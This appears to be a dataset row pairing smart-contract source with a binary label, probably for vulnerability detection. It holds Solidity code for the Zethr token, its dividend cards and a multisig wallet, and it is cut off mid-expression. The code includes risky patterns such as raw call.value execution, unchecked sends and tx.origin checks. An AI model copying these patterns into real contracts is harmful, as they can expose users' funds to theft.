source_codes
stringlengths
3
205k
labels
int64
0
1
pragma solidity ^0.4.24; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } library ZethrTierLibrary { uint constant internal magnitude = 2 ** 64; function getTier(uint divRate) internal pure returns (uint8) { uint actualDiv = divRate / magnitude; if (actualDiv >= 30) { return 6; } else if (actualDiv >= 25) { return 5; } else if (actualDiv >= 20) { return 4; } else if (actualDiv >= 15) { return 3; } else if (actualDiv >= 10) { return 2; } else if (actualDiv >= 5) { return 1; } else if (actualDiv >= 2) { return 0; } else { revert(); } } function getDivRate(uint _tier) internal pure returns (uint8) { if (_tier == 0) { return 2; } else if (_tier == 1) { return 5; } else if (_tier == 2) { return 10; } else if (_tier == 3) { return 15; } else if (_tier == 4) { return 20; } else if (_tier == 5) { return 25; } else if (_tier == 6) { return 33; } else { revert(); } } } contract ERC223Receiving { function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool); } contract ZethrMultiSigWallet is ERC223Receiving { using SafeMath for uint; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event WhiteListAddition(address indexed contractAddress); event WhiteListRemoval(address indexed contractAddress); event RequirementChange(uint required); event BankrollInvest(uint amountReceived); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; bool internal reEntered = false; uint constant public MAX_OWNER_COUNT = 15; struct Transaction { address destination; uint value; bytes data; bool executed; } struct TKN { address sender; uint value; } modifier onlyWallet() { if (msg.sender != address(this)) revert(); _; } modifier isAnOwner() { address caller = msg.sender; if (isOwner[caller]) _; else revert(); } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert(); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert(); _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) revert(); _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) revert(); _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) revert(); _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) revert(); _; } modifier notNull(address _address) { if (_address == 0) revert(); _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert(); _; } constructor (address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) revert(); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } function() public payable { } function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } function removeOwner(address owner) public onlyWallet ownerExists(owner) validRequirement(owners.length, required) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txToExecute = transactions[transactionId]; txToExecute.executed = true; if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txToExecute.executed = false; } } } function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } function getOwners() public constant returns (address[]) { return owners; } function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } function tokenFallback(address , uint , bytes ) public returns (bool) { return true; } } contract ZethrTokenBankrollInterface is ERC223Receiving { uint public jackpotBalance; function getMaxProfit(address) public view returns (uint); function gameTokenResolution(uint _toWinnerAmount, address _winnerAddress, uint _toJackpotAmount, address _jackpotAddress, uint _originalBetSize) external; function payJackpotToWinner(address _winnerAddress, uint payoutDivisor) public; } contract ZethrBankrollControllerInterface is ERC223Receiving { address public jackpotAddress; ZethrTokenBankrollInterface[7] public tokenBankrolls; ZethrMultiSigWallet public multiSigWallet; mapping(address => bool) public validGameAddresses; function gamePayoutResolver(address _resolver, uint _tokenAmount) public; function isTokenBankroll(address _address) public view returns (bool); function getTokenBankrollAddressFromTier(uint8 _tier) public view returns (address); function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool); } contract ERC721Interface { function approve(address _to, uint _tokenId) public; function balanceOf(address _owner) public view returns (uint balance); function implementsERC721() public pure returns (bool); function ownerOf(uint _tokenId) public view returns (address addr); function takeOwnership(uint _tokenId) public; function totalSupply() public view returns (uint total); function transferFrom(address _from, address _to, uint _tokenId) public; function transfer(address _to, uint _tokenId) public; event Transfer(address indexed from, address indexed to, uint tokenId); event Approval(address indexed owner, address indexed approved, uint tokenId); } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } } contract ZethrDividendCards is ERC721Interface { using SafeMath for uint; event Birth(uint tokenId, string name, address owner); event TokenSold(uint tokenId, uint oldPrice, uint newPrice, address prevOwner, address winner, string name); event Transfer(address from, address to, uint tokenId); event BankrollDivCardProfit(uint bankrollProfit, uint percentIncrease, address oldOwner); event BankrollProfitFailure(uint bankrollProfit, uint percentIncrease, address oldOwner); event UserDivCardProfit(uint divCardProfit, uint percentIncrease, address oldOwner); event DivCardProfitFailure(uint divCardProfit, uint percentIncrease, address oldOwner); event masterCardProfit(uint toMaster, address _masterAddress, uint _divCardId); event masterCardProfitFailure(uint toMaster, address _masterAddress, uint _divCardId); event regularCardProfit(uint toRegular, address _regularAddress, uint _divCardId); event regularCardProfitFailure(uint toRegular, address _regularAddress, uint _divCardId); string public constant NAME = "ZethrDividendCard"; string public constant SYMBOL = "ZDC"; address public BANKROLL; mapping (uint => address) public divCardIndexToOwner; mapping (uint => uint) public divCardRateToIndex; mapping (address => uint) private ownershipDivCardCount; mapping (uint => address) public divCardIndexToApproved; mapping (uint => uint) private divCardIndexToPrice; mapping (address => bool) internal administrators; address public creator; bool public onSale; struct Card { string name; uint percentIncrease; } Card[] private divCards; modifier onlyCreator() { require(msg.sender == creator); _; } constructor (address _bankroll) public { creator = msg.sender; BANKROLL = _bankroll; createDivCard("2%", 1 ether, 2); divCardRateToIndex[2] = 0; createDivCard("5%", 1 ether, 5); divCardRateToIndex[5] = 1; createDivCard("10%", 1 ether, 10); divCardRateToIndex[10] = 2; createDivCard("15%", 1 ether, 15); divCardRateToIndex[15] = 3; createDivCard("20%", 1 ether, 20); divCardRateToIndex[20] = 4; createDivCard("25%", 1 ether, 25); divCardRateToIndex[25] = 5; createDivCard("33%", 1 ether, 33); divCardRateToIndex[33] = 6; createDivCard("MASTER", 5 ether, 10); divCardRateToIndex[999] = 7; onSale = true; administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true; administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true; administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true; administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true; administrators[msg.sender] = true; } modifier isNotContract() { require (msg.sender == tx.origin); _; } modifier hasStarted() { require (onSale == true); _; } modifier isAdmin() { require(administrators[msg.sender]); _; } function setBankroll(address where) public isAdmin { BANKROLL = where; } function approve(address _to, uint _tokenId) public isNotContract { require(_owns(msg.sender, _tokenId)); divCardIndexToApproved[_tokenId] = _to; emit Approval(msg.sender, _to, _tokenId); } function balanceOf(address _owner) public view returns (uint balance) { return ownershipDivCardCount[_owner]; } function createDivCard(string _name, uint _price, uint _percentIncrease) public onlyCreator { _createDivCard(_name, BANKROLL, _price, _percentIncrease); } function startCardSale() public isAdmin { onSale = true; } function getDivCard(uint _divCardId) public view returns (string divCardName, uint sellingPrice, address owner) { Card storage divCard = divCards[_divCardId]; divCardName = divCard.name; sellingPrice = divCardIndexToPrice[_divCardId]; owner = divCardIndexToOwner[_divCardId]; } function implementsERC721() public pure returns (bool) { return true; } function name() public pure returns (string) { return NAME; } function ownerOf(uint _divCardId) public view returns (address owner) { owner = divCardIndexToOwner[_divCardId]; require(owner != address(0)); return owner; } function purchase(uint _divCardId) public payable hasStarted isNotContract { address oldOwner = divCardIndexToOwner[_divCardId]; address newOwner = msg.sender; uint currentPrice = divCardIndexToPrice[_divCardId]; require(oldOwner != newOwner); require(_addressNotNull(newOwner)); require(msg.value >= currentPrice); uint percentIncrease = divCards[_divCardId].percentIncrease; uint previousPrice = SafeMath.mul(currentPrice, 100).div(100 + percentIncrease); uint totalProfit = SafeMath.sub(currentPrice, previousPrice); uint oldOwnerProfit = SafeMath.div(totalProfit, 2); uint bankrollProfit = SafeMath.sub(totalProfit, oldOwnerProfit); oldOwnerProfit = SafeMath.add(oldOwnerProfit, previousPrice); uint purchaseExcess = SafeMath.sub(msg.value, currentPrice); divCardIndexToPrice[_divCardId] = SafeMath.div(SafeMath.mul(currentPrice, (100 + percentIncrease)), 100); _transfer(oldOwner, newOwner, _divCardId); if(BANKROLL.send(bankrollProfit)) { emit BankrollDivCardProfit(bankrollProfit, percentIncrease, oldOwner); } else { emit BankrollProfitFailure(bankrollProfit, percentIncrease, oldOwner); } if(oldOwner.send(oldOwnerProfit)) { emit UserDivCardProfit(oldOwnerProfit, percentIncrease, oldOwner); } else { emit DivCardProfitFailure(oldOwnerProfit, percentIncrease, oldOwner); } msg.sender.transfer(purchaseExcess); } function priceOf(uint _divCardId) public view returns (uint price) { return divCardIndexToPrice[_divCardId]; } function setCreator(address _creator) public onlyCreator { require(_creator != address(0)); creator = _creator; } function symbol() public pure returns (string) { return SYMBOL; } function takeOwnership(uint _divCardId) public isNotContract { address newOwner = msg.sender; address oldOwner = divCardIndexToOwner[_divCardId]; require(_addressNotNull(newOwner)); require(_approved(newOwner, _divCardId)); _transfer(oldOwner, newOwner, _divCardId); } function totalSupply() public view returns (uint total) { return divCards.length; } function transfer(address _to, uint _divCardId) public isNotContract { require(_owns(msg.sender, _divCardId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _divCardId); } function transferFrom(address _from, address _to, uint _divCardId) public isNotContract { require(_owns(_from, _divCardId)); require(_approved(_to, _divCardId)); require(_addressNotNull(_to)); _transfer(_from, _to, _divCardId); } function receiveDividends(uint _divCardRate) public payable { uint _divCardId = divCardRateToIndex[_divCardRate]; address _regularAddress = divCardIndexToOwner[_divCardId]; address _masterAddress = divCardIndexToOwner[7]; uint toMaster = msg.value.div(2); uint toRegular = msg.value.sub(toMaster); if(_masterAddress.send(toMaster)){ emit masterCardProfit(toMaster, _masterAddress, _divCardId); } else { emit masterCardProfitFailure(toMaster, _masterAddress, _divCardId); } if(_regularAddress.send(toRegular)) { emit regularCardProfit(toRegular, _regularAddress, _divCardId); } else { emit regularCardProfitFailure(toRegular, _regularAddress, _divCardId); } } function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } function _approved(address _to, uint _divCardId) private view returns (bool) { return divCardIndexToApproved[_divCardId] == _to; } function _createDivCard(string _name, address _owner, uint _price, uint _percentIncrease) private { Card memory _divcard = Card({ name: _name, percentIncrease: _percentIncrease }); uint newCardId = divCards.push(_divcard) - 1; require(newCardId == uint(uint32(newCardId))); emit Birth(newCardId, _name, _owner); divCardIndexToPrice[newCardId] = _price; _transfer(BANKROLL, _owner, newCardId); } function _owns(address claimant, uint _divCardId) private view returns (bool) { return claimant == divCardIndexToOwner[_divCardId]; } function _transfer(address _from, address _to, uint _divCardId) private { ownershipDivCardCount[_to]++; divCardIndexToOwner[_divCardId] = _to; if (_from != address(0)) { ownershipDivCardCount[_from]--; delete divCardIndexToApproved[_divCardId]; } emit Transfer(_from, _to, _divCardId); } } contract Zethr { using SafeMath for uint; modifier onlyHolders() { require(myFrontEndTokens() > 0); _; } modifier dividendHolder() { require(myDividends(true) > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } event onTokenPurchase( address indexed customerAddress, uint incomingEthereum, uint tokensMinted, address indexed referredBy ); event UserDividendRate( address user, uint divRate ); event onTokenSell( address indexed customerAddress, uint tokensBurned, uint ethereumEarned ); event onReinvestment( address indexed customerAddress, uint ethereumReinvested, uint tokensMinted ); event onWithdraw( address indexed customerAddress, uint ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint tokens ); event Approval( address indexed tokenOwner, address indexed spender, uint tokens ); event Allocation( uint toBankRoll, uint toReferrer, uint toTokenHolders, uint toDivCardHolders, uint forTokens ); event Referral( address referrer, uint amountReceived ); uint8 constant public decimals = 18; uint constant internal tokenPriceInitial_ = 0.000653 ether; uint constant internal magnitude = 2 ** 64; uint constant internal icoHardCap = 250 ether; uint constant internal addressICOLimit = 1 ether; uint constant internal icoMinBuyIn = 0.1 finney; uint constant internal icoMaxGasPrice = 50000000000 wei; uint constant internal MULTIPLIER = 9615; uint constant internal MIN_ETH_BUYIN = 0.0001 ether; uint constant internal MIN_TOKEN_SELL_AMOUNT = 0.0001 ether; uint constant internal MIN_TOKEN_TRANSFER = 1e10; uint constant internal referrer_percentage = 25; uint public stakingRequirement = 100e18; string public name = "Zethr"; string public symbol = "ZTH"; bytes32 constant public icoHashedPass = bytes32(0x8a6ddee3fb2508ff4a5b02b48e9bc4566d0f3e11f306b0f75341bf235662a9e3); address internal bankrollAddress; ZethrDividendCards divCardContract; mapping(address => uint) internal frontTokenBalanceLedger_; mapping(address => uint) internal dividendTokenBalanceLedger_; mapping(address => mapping(address => uint)) public allowed; mapping(uint8 => bool) internal validDividendRates_; mapping(address => bool) internal userSelectedRate; mapping(address => uint8) internal userDividendRate; mapping(address => uint) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint) internal ICOBuyIn; uint public tokensMintedDuringICO; uint public ethInvestedDuringICO; uint public currentEthInvested; uint internal tokenSupply = 0; uint internal divTokenSupply = 0; uint internal profitPerDivToken; mapping(address => bool) public administrators; bool public icoPhase = false; bool public regularPhase = false; uint icoOpenTime; constructor (address _bankrollAddress, address _divCardAddress) public { bankrollAddress = _bankrollAddress; divCardContract = ZethrDividendCards(_divCardAddress); administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true; administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true; administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true; administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true; administrators[0x8537aa2911b193e5B377938A723D805bb0865670] = true; administrators[0x9D221b2100CbE5F05a0d2048E2556a6Df6f9a6C3] = true; administrators[0xDa83156106c4dba7A26E9bF2Ca91E273350aa551] = true; administrators[0x71009e9E4e5e68e77ECc7ef2f2E95cbD98c6E696] = true; administrators[msg.sender] = true; validDividendRates_[2] = true; validDividendRates_[5] = true; validDividendRates_[10] = true; validDividendRates_[15] = true; validDividendRates_[20] = true; validDividendRates_[25] = true; validDividendRates_[33] = true; userSelectedRate[bankrollAddress] = true; userDividendRate[bankrollAddress] = 33; } function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string ) public payable returns (uint) { require(icoPhase || regularPhase); if (icoPhase) { uint gasPrice = tx.gasprice; require(gasPrice <= icoMaxGasPrice && ethInvestedDuringICO <= icoHardCap); } require(validDividendRates_[_divChoice]); userSelectedRate[msg.sender] = true; userDividendRate[msg.sender] = _divChoice; emit UserDividendRate(msg.sender, _divChoice); purchaseTokens(msg.value, _referredBy); } function buy(address _referredBy) public payable returns (uint) { require(regularPhase); address _customerAddress = msg.sender; require(userSelectedRate[_customerAddress]); purchaseTokens(msg.value, _referredBy); } function buyAndTransfer(address _referredBy, address target) public payable { bytes memory empty; buyAndTransfer(_referredBy, target, empty, 20); } function buyAndTransfer(address _referredBy, address target, bytes _data) public payable { buyAndTransfer(_referredBy, target, _data, 20); } function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice) public payable { require(regularPhase); address _customerAddress = msg.sender; uint256 frontendBalance = frontTokenBalanceLedger_[msg.sender]; if (userSelectedRate[_customerAddress] && divChoice == 0) { purchaseTokens(msg.value, _referredBy); } else { buyAndSetDivPercentage(_referredBy, divChoice, "0x0"); } uint256 difference = SafeMath.sub(frontTokenBalanceLedger_[msg.sender], frontendBalance); transferTo(msg.sender, target, difference, _data); } function() payable public { require(regularPhase); address _customerAddress = msg.sender; if (userSelectedRate[_customerAddress]) { purchaseTokens(msg.value, 0x0); } else { buyAndSetDivPercentage(0x0, 20, "0x0"); } } function reinvest() dividendHolder() public { require(regularPhase); uint _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { require(regularPhase); address _customerAddress = msg.sender; uint _tokens = frontTokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(_customerAddress); } function withdraw(address _recipient) dividendHolder() public { require(regularPhase); address _customerAddress = msg.sender; uint _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; if (_recipient == address(0x0)) { _recipient = msg.sender; } _recipient.transfer(_dividends); emit onWithdraw(_recipient, _dividends); } function sell(uint _amountOfTokens) onlyHolders() public { require(!icoPhase); require(regularPhase); require(_amountOfTokens <= frontTokenBalanceLedger_[msg.sender]); uint _frontEndTokensToBurn = _amountOfTokens; uint userDivRate = getUserAverageDividendRate(msg.sender); require((2 * magnitude) <= userDivRate && (50 * magnitude) >= userDivRate); uint _divTokensToBurn = (_frontEndTokensToBurn.mul(userDivRate)).div(magnitude); uint _ethereum = tokensToEthereum_(_frontEndTokensToBurn); if (_ethereum > currentEthInvested) { currentEthInvested = 0; } else {currentEthInvested = currentEthInvested - _ethereum;} uint _dividends = (_ethereum.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude); uint _taxedEthereum = _ethereum.sub(_dividends); tokenSupply = tokenSupply.sub(_frontEndTokensToBurn); divTokenSupply = divTokenSupply.sub(_divTokensToBurn); frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].sub(_frontEndTokensToBurn); dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].sub(_divTokensToBurn); int256 _updatedPayouts = (int256) (profitPerDivToken * _divTokensToBurn + (_taxedEthereum * magnitude)); payoutsTo_[msg.sender] -= _updatedPayouts; if (divTokenSupply > 0) { profitPerDivToken = profitPerDivToken.add((_dividends * magnitude) / divTokenSupply); } emit onTokenSell(msg.sender, _frontEndTokensToBurn, _taxedEthereum); } function transfer(address _toAddress, uint _amountOfTokens) onlyHolders() public returns (bool) { require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[msg.sender]); bytes memory empty; transferFromInternal(msg.sender, _toAddress, _amountOfTokens, empty); return true; } function approve(address spender, uint tokens) public returns (bool) { address _customerAddress = msg.sender; allowed[_customerAddress][spender] = tokens; emit Approval(_customerAddress, spender, tokens); return true; } function transferFrom(address _from, address _toAddress, uint _amountOfTokens) public returns (bool) { address _customerAddress = _from; bytes memory empty; require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[_customerAddress] && _amountOfTokens <= allowed[_customerAddress][msg.sender]); transferFromInternal(_from, _toAddress, _amountOfTokens, empty); return true; } function transferTo(address _from, address _to, uint _amountOfTokens, bytes _data) public { if (_from != msg.sender) { require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[_from] && _amountOfTokens <= allowed[_from][msg.sender]); } else { require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[_from]); } transferFromInternal(_from, _to, _amountOfTokens, _data); } function totalSupply() public view returns (uint256) { return tokenSupply; } function publicStartRegularPhase() public { require(now > (icoOpenTime + 2 weeks) && icoOpenTime != 0); icoPhase = false; regularPhase = true; } function startICOPhase() onlyAdministrator() public { require(icoOpenTime == 0); icoPhase = true; icoOpenTime = now; } function endICOPhase() onlyAdministrator() public { icoPhase = false; } function startRegularPhase() onlyAdministrator public { icoPhase = false; regularPhase = true; } function setAdministrator(address _newAdmin, bool _status) onlyAdministrator() public { administrators[_newAdmin] = _status; } function setStakingRequirement(uint _amountOfTokens) onlyAdministrator() public { require(_amountOfTokens >= 100e18); stakingRequirement = _amountOfTokens; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function changeBankroll(address _newBankrollAddress) onlyAdministrator public { bankrollAddress = _newBankrollAddress; } function totalEthereumBalance() public view returns (uint) { return address(this).balance; } function totalEthereumICOReceived() public view returns (uint) { return ethInvestedDuringICO; } function getMyDividendRate() public view returns (uint8) { address _customerAddress = msg.sender; require(userSelectedRate[_customerAddress]); return userDividendRate[_customerAddress]; } function getFrontEndTokenSupply() public view returns (uint) { return tokenSupply; } function getDividendTokenSupply() public view returns (uint) { return divTokenSupply; } function myFrontEndTokens() public view returns (uint) { address _customerAddress = msg.sender; return getFrontEndTokenBalanceOf(_customerAddress); } function myDividendTokens() public view returns (uint) { address _customerAddress = msg.sender; return getDividendTokenBalanceOf(_customerAddress); } function myReferralDividends() public view returns (uint) { return myDividends(true) - myDividends(false); } function myDividends(bool _includeReferralBonus) public view returns (uint) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress); } function theDividendsOf(bool _includeReferralBonus, address _customerAddress) public view returns (uint) { return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress); } function getFrontEndTokenBalanceOf(address _customerAddress) view public returns (uint) { return frontTokenBalanceLedger_[_customerAddress]; } function balanceOf(address _owner) view public returns (uint) { return getFrontEndTokenBalanceOf(_owner); } function getDividendTokenBalanceOf(address _customerAddress) view public returns (uint) { return dividendTokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) view public returns (uint) { return (uint) ((int256)(profitPerDivToken * dividendTokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint) { uint price; if (icoPhase || currentEthInvested < ethInvestedDuringICO) { price = tokenPriceInitial_; } else { uint tokensReceivedForEth = ethereumToTokens_(0.001 ether); price = (1e18 * 0.001 ether) / tokensReceivedForEth; } uint theSellPrice = price.sub((price.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude)); return theSellPrice; } function buyPrice(uint dividendRate) public view returns (uint) { uint price; if (icoPhase || currentEthInvested < ethInvestedDuringICO) { price = tokenPriceInitial_; } else { uint tokensReceivedForEth = ethereumToTokens_(0.001 ether); price = (1e18 * 0.001 ether) / tokensReceivedForEth; } uint theBuyPrice = (price.mul(dividendRate).div(100)).add(price); return theBuyPrice; } function calculateTokensReceived(uint _ethereumToSpend) public view returns (uint) { uint _dividends = (_ethereumToSpend.mul(userDividendRate[msg.sender])).div(100); uint _taxedEthereum = _ethereumToSpend.sub(_dividends); uint _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint _tokensToSell) public view returns (uint) { require(_tokensToSell <= tokenSupply); uint _ethereum = tokensToEthereum_(_tokensToSell); uint userAverageDividendRate = getUserAverageDividendRate(msg.sender); uint _dividends = (_ethereum.mul(userAverageDividendRate).div(100)).div(magnitude); uint _taxedEthereum = _ethereum.sub(_dividends); return _taxedEthereum; } function getUserAverageDividendRate(address user) public view returns (uint) { return (magnitude * dividendTokenBalanceLedger_[user]).div(frontTokenBalanceLedger_[user]); } function getMyAverageDividendRate() public view returns (uint) { return getUserAverageDividendRate(msg.sender); } function purchaseTokens(uint _incomingEthereum, address _referredBy) internal returns (uint) { require(_incomingEthereum >= MIN_ETH_BUYIN || msg.sender == bankrollAddress, "Tried to buy below the min eth buyin threshold."); uint toBankRoll; uint toReferrer; uint toTokenHolders; uint toDivCardHolders; uint dividendAmount; uint tokensBought; uint dividendTokensBought; uint remainingEth = _incomingEthereum; uint fee; if (regularPhase) { toDivCardHolders = _incomingEthereum.div(100); remainingEth = remainingEth.sub(toDivCardHolders); } uint dividendRate = userDividendRate[msg.sender]; dividendAmount = (remainingEth.mul(dividendRate)).div(100); remainingEth = remainingEth.sub(dividendAmount); if (icoPhase && msg.sender == bankrollAddress) { remainingEth = remainingEth + dividendAmount; } tokensBought = ethereumToTokens_(remainingEth); dividendTokensBought = tokensBought.mul(dividendRate); tokenSupply = tokenSupply.add(tokensBought); divTokenSupply = divTokenSupply.add(dividendTokensBought); currentEthInvested = currentEthInvested + remainingEth; if (icoPhase) { toBankRoll = dividendAmount; if (msg.sender == bankrollAddress) { toBankRoll = 0; } toReferrer = 0; toTokenHolders = 0; ethInvestedDuringICO = ethInvestedDuringICO + remainingEth; tokensMintedDuringICO = tokensMintedDuringICO + tokensBought; require(ethInvestedDuringICO <= icoHardCap); require(tx.origin == msg.sender || msg.sender == bankrollAddress); ICOBuyIn[msg.sender] += remainingEth; if (ethInvestedDuringICO == icoHardCap) { icoPhase = false; } } else { if (_referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != msg.sender && frontTokenBalanceLedger_[_referredBy] >= stakingRequirement) { toReferrer = (dividendAmount.mul(referrer_percentage)).div(100); referralBalance_[_referredBy] += toReferrer; emit Referral(_referredBy, toReferrer); } toTokenHolders = dividendAmount.sub(toReferrer); fee = toTokenHolders * magnitude; fee = fee - (fee - (dividendTokensBought * (toTokenHolders * magnitude / (divTokenSupply)))); profitPerDivToken = profitPerDivToken.add((toTokenHolders.mul(magnitude)).div(divTokenSupply)); payoutsTo_[msg.sender] += (int256) ((profitPerDivToken * dividendTokensBought) - fee); } frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].add(tokensBought); dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].add(dividendTokensBought); if (toBankRoll != 0) {ZethrBankroll(bankrollAddress).receiveDividends.value(toBankRoll)();} if (regularPhase) {divCardContract.receiveDividends.value(toDivCardHolders)(dividendRate);} emit Allocation(toBankRoll, toReferrer, toTokenHolders, toDivCardHolders, remainingEth); uint sum = toBankRoll + toReferrer + toTokenHolders + toDivCardHolders + remainingEth - _incomingEthereum; assert(sum == 0); } function ethereumToTokens_(uint _ethereumAmount) public view returns (uint) { require(_ethereumAmount > MIN_ETH_BUYIN, "Tried to buy tokens with too little eth."); if (icoPhase) { return _ethereumAmount.div(tokenPriceInitial_) * 1e18; } uint ethTowardsICOPriceTokens = 0; uint ethTowardsVariablePriceTokens = 0; if (currentEthInvested >= ethInvestedDuringICO) { ethTowardsVariablePriceTokens = _ethereumAmount; } else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + 